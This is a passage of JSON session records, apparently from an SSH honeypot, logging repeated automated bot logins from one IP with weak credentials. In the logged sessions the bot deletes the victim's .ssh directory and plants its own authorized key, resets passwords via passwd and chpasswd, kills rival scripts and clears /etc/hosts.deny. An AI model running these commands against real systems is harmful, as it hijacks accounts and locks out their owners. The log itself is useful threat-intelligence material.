GNU/Linux"},{"seq":27,"at":"2026-08-26T09:53:34.062716+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T09:53:34.063515+00:00","kind":"output","latency_ms":null,"data":"fedora"},{"seq":29,"at":"2026-08-26T09:53:34.654338+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T09:53:35.189006+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T09:53:36.138661+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T09:53:36.729927+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"fedora","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"9e17b38c-e479-4124-a8d2-58c56c165c59","name":"hardy-shifting-tanager","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":36018,"username":"fedora","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:53:23.806112+00:00","ended_at":"2026-08-26T09:53:24.559667+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"fedora","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c71e458e-5bd5-48e7-93d2-5c878b223baa","name":"wandering-bashful-quail","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":57742,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:53:14.764182+00:00","ended_at":"2026-08-26T09:53:22.770155+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"7ca21b8b-9d41-42f8-8fab-2e4edfa8f393","name":"sincere-kindly-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":37646,"username":"student8","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":589,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T09:49:12.918639+00:00","ended_at":"2026-08-26T09:49:13.578868+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2081,"events":[{"seq":1,"at":"2026-08-26T09:48:53.022497+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T09:48:54.028101+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T09:49:01.986100+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T09:49:01.986550+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T09:49:02.575175+00:00","kind":"input","latency_ms":null,"data":"echo -e \"student8\\nWZcGqz58ct8u\\nWZcGqz58ct8u\"|passwd|bash"},{"seq":6,"at":"2026-08-26T09:49:03.163113+00:00","kind":"input","latency_ms":null,"data":"echo \"student8\\nWZcGqz58ct8u\\nWZcGqz58ct8u\\n\"|passwd"},{"seq":7,"at":"2026-08-26T09:49:03.756297+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T09:49:03.758309+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T09:49:04.344263+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T09:49:04.875308+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T09:49:05.466097+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T09:49:06.044905+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T09:49:06.639025+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T09:49:06.639644+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T09:49:07.228536+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T09:49:07.229058+00:00","kind":"output","latency_ms":null,"data":" 09:49:07 up 6 days, 6:39, 0 user, load average: 0.12, 0.1, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T09:49:08.219096+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T09:49:08.219733+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T09:49:08.809632+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T09:49:08.810258+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T09:49:09.400368+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T09:49:09.401063+00:00","kind":"output","latency_ms":null,"data":"top - 09:49:09 up 6 days, 6:39, 0 user, load average: 0.12, 0.1, 0.08\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T09:49:09.991719+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T09:49:09.992168+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T09:49:10.579407+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T09:49:10.579924+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T09:49:11.170175+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T09:49:11.170541+00:00","kind":"output","latency_ms":null,"data":"student8"},{"seq":29,"at":"2026-08-26T09:49:11.763403+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T09:49:12.330562+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T09:49:12.919252+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T09:49:13.392540+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"student8","password":"student8","method":"password","accepted":true,"tier":"other"}]} {"id":"5a6dfa98-ef88-4b70-9f16-ec4da7eb6a63","name":"dusky-meadow-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":44540,"username":"student8","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:48:59.411378+00:00","ended_at":"2026-08-26T09:49:01.974431+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"student8","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7f1a81f9-6b3c-4433-bb5c-cc1c8e140256","name":"autumn-regal-gerbil","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":37650,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:48:56.427940+00:00","ended_at":"2026-08-26T09:48:58.239290+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8447f39b-c26d-4922-bc7e-b86f49b1d949","name":"restless-genial-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":42122,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:44:29.303131+00:00","ended_at":"2026-08-26T09:45:29.305076+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"6919b2d7-cef4-46de-b8eb-173179143281","name":"forlorn-fabled-camel","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":56138,"username":"abcdefg","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":595,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T09:40:26.712522+00:00","ended_at":"2026-08-26T09:40:27.439970+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2069,"events":[{"seq":1,"at":"2026-08-26T09:40:06.554854+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T09:40:07.563576+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T09:40:14.178552+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T09:40:14.179201+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T09:40:14.773554+00:00","kind":"input","latency_ms":null,"data":"echo -e \"abcdefg\\n1ScxhZSiieWW\\n1ScxhZSiieWW\"|passwd|bash"},{"seq":6,"at":"2026-08-26T09:40:15.368117+00:00","kind":"input","latency_ms":null,"data":"echo \"abcdefg\\n1ScxhZSiieWW\\n1ScxhZSiieWW\\n\"|passwd"},{"seq":7,"at":"2026-08-26T09:40:16.366135+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T09:40:16.366634+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T09:40:17.364461+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T09:40:17.975458+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T09:40:18.576700+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T09:40:19.107148+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T09:40:19.702917+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T09:40:19.713368+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T09:40:20.297052+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T09:40:20.297817+00:00","kind":"output","latency_ms":null,"data":" 09:40:20 up 6 days, 6:30, 0 user, load average: 0.29, 0.29, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T09:40:20.892546+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T09:40:20.892902+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T09:40:21.490074+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T09:40:21.490648+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T09:40:22.084317+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T09:40:22.084851+00:00","kind":"output","latency_ms":null,"data":"top - 09:40:22 up 6 days, 6:30, 0 user, load average: 0.29, 0.29, 0.27\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T09:40:22.678222+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T09:40:22.678698+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T09:40:23.274420+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T09:40:23.275060+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T09:40:24.278140+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T09:40:24.278616+00:00","kind":"output","latency_ms":null,"data":"abcdefg"},{"seq":29,"at":"2026-08-26T09:40:24.873422+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T09:40:25.697757+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T09:40:26.713293+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T09:40:27.248997+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"abcdefg","password":"abcdefg","method":"password","accepted":true,"tier":"other"}]} {"id":"c0a94a03-7aa6-4495-87ab-182aa8950ff5","name":"ivory-sturdy-cuckoo","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":32864,"username":"abcdefg","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:40:11.800925+00:00","ended_at":"2026-08-26T09:40:13.586561+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"abcdefg","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ece6236c-f987-4314-9f0e-e29d621cd9c1","name":"sterling-glacial-goldfinch","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":32858,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:40:08.920277+00:00","ended_at":"2026-08-26T09:40:10.168837+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bcf7e34b-da54-4601-948e-8ee83233e8d4","name":"western-ashen-polecat","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":42796,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:35:39.598720+00:00","ended_at":"2026-08-26T09:36:39.600640+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"f342cf91-46b6-4663-a6cd-92403fbcd750","name":"amiable-silent-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":58350,"username":"cpg","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":589,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T09:31:43.457741+00:00","ended_at":"2026-08-26T09:31:44.119534+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2046,"events":[{"seq":1,"at":"2026-08-26T09:31:20.387462+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T09:31:21.390079+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T09:31:32.876155+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T09:31:32.876856+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T09:31:33.467814+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cpg\\nVzH4ygVSoSCF\\nVzH4ygVSoSCF\"|passwd|bash"},{"seq":6,"at":"2026-08-26T09:31:34.061188+00:00","kind":"input","latency_ms":null,"data":"echo \"cpg\\nVzH4ygVSoSCF\\nVzH4ygVSoSCF\\n\"|passwd"},{"seq":7,"at":"2026-08-26T09:31:34.657808+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T09:31:34.659363+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T09:31:35.248661+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T09:31:35.805814+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T09:31:36.398923+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T09:31:36.947899+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T09:31:37.539215+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T09:31:37.539707+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T09:31:38.128935+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T09:31:38.129476+00:00","kind":"output","latency_ms":null,"data":" 09:31:38 up 6 days, 6:21, 0 user, load average: 0.09, 0.09, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T09:31:38.717580+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T09:31:38.718370+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T09:31:39.310151+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T09:31:39.311183+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T09:31:39.897835+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T09:31:39.898440+00:00","kind":"output","latency_ms":null,"data":"top - 09:31:39 up 6 days, 6:21, 0 user, load average: 0.09, 0.09, 0.07\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T09:31:40.487453+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T09:31:40.488268+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T09:31:41.077419+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T09:31:41.078020+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T09:31:41.667391+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T09:31:41.668159+00:00","kind":"output","latency_ms":null,"data":"cpg"},{"seq":29,"at":"2026-08-26T09:31:42.258675+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T09:31:42.871462+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T09:31:43.458611+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T09:31:43.934791+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cpg","password":"cpg","method":"password","accepted":true,"tier":"other"}]} {"id":"a4163088-8fc5-46a5-a3a4-9e82b6f38ae3","name":"lofty-fabled-macaw","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":47686,"username":"cpg","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:31:30.767611+00:00","ended_at":"2026-08-26T09:31:32.691078+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cpg","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"42b4dd74-25a3-4e42-b0e6-284d67dce3d1","name":"whispering-placid-pangolin","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":36430,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:31:21.752805+00:00","ended_at":"2026-08-26T09:31:29.762365+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"a5d711a7-1b3a-4572-8d51-012de8f50e4a","name":"blithe-downy-mink","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":33178,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:26:53.109025+00:00","ended_at":"2026-08-26T09:27:53.113063+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"8e3dec62-2b2e-44f7-b44f-419b11c1ce62","name":"hushed-boreal-bittern","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":41128,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T09:22:24.485604+00:00","ended_at":"2026-08-26T09:23:24.494844+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"7c1f6698-5755-41d9-a772-0cda63287b4a","name":"creaky-diligent-stonechat","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":59822,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":591,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T09:18:23.297909+00:00","ended_at":"2026-08-26T09:18:24.030659+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-26T09:17:58.504564+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T09:17:59.511436+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T09:18:11.679681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T09:18:11.680595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T09:18:12.272143+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ITJM4xdm1ojQ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T09:18:13.260939+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T09:18:13.847028+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T09:18:13.847346+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T09:18:14.437480+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 